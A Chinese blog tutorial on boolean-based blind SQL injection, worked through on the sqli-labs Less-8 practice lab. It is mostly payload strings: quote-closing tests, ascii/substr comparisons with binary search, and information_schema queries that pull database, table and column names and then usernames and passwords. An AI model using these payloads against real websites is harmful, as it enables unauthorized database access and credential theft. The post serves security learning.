布尔盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行拆解,实行SQL注入。

盲注分类:布尔盲注、时间盲注、报错盲注

布尔盲注:web页面只返回true真,false假两种类型。利用页面返回不同,逐个猜解数据

布尔注入的条件

?id=1' and 1=1-- -    真页面true

 ?id=1' and 1=2-- -    假页面false

 

关键函数

函数ascii()  ascii美国信息交换标代码,可以把字母转换为对应数字

      右图为ASCII码表

当输入多个字符时,它只转换第一个字符

为什么要把字符转换为数字?

查询命令可以执行,但不会返回有用信息到页面

即使用ascii()把查询的内容转换成数字,以真假页面来判断字母和s对应的数字是否正确(条件满足,页面显示为真true;条件不满足,页面返回为假false)

(以Less-8 为例)

?id=1' and ascii('e')=101 -- -  页面返回为真

?id=1' and ascii('e')=100 -- -  页面返回为假

当and前面闭合时,and后面的条件成立时,页面才会显示You are in……

所以将and后面的条件用ascii()函数来表示,就可以通过返回页面的真假来判断字母,由于ascii((select database()))只能转换第一个字母,所以需要使用函数substr((),1,1)(或者使用substring)从第一个字符开始,显示一个字符,这样就可以控制字符的输出

?id=1' and ascii(substr((select database()),1,1))>=120 -- -

在不知道数据库名情况下,需要对数据库名进行猜测,可以使用大于等于(>=)或者小于等于(<=)结合二分法来判断转换后的数字大小,从而得知第一个字母;

?id=1' and ascii(substr((select database()),1,1))>=120 -- -  假

?id=1' and ascii(substr((select database()),1,1))>=110 -- -  真

?id=1' and ascii(substr((select database()),1,1))>=115 -- -  真

?id=1' and ascii(substr((select database()),1,1))>=117 -- -  假

?id=1' and ascii(substr((select database()),1,1))>=117 -- -  假

故第一个字符转换后为115,然后判断第二个字符

?id=1' and ascii(substr((select database()),2,1))>=100 -- -  同上,使用二分法对其转换后的数字进行判断

 

布尔盲注

?id=1' and ascii(substr('abcd',1,1))>97-- -

'abcd'替换入想要查询的语句即可

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 -- -

此处没有必要使用group_concat()函数,而是使用limit 0,1  从第0行开始显示1行,从结果的第一行数据依次查询。

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 -- -

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100-- -

?id=1' and ascii(substr((select password from users limit 0,1),1,1))>100-- -

布尔盲注闭合符的判断

eg:

?id=1'  页面为假    ?id=1' -- -    页面为真

?id=1"  页面为真    ?id=1" -- -    页面为真

排除双引号"

?id=1')  页面为假    ?id=1') -- -    页面为假

排除单引号加括号')

 

posted @   程亦澄  阅读(142)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示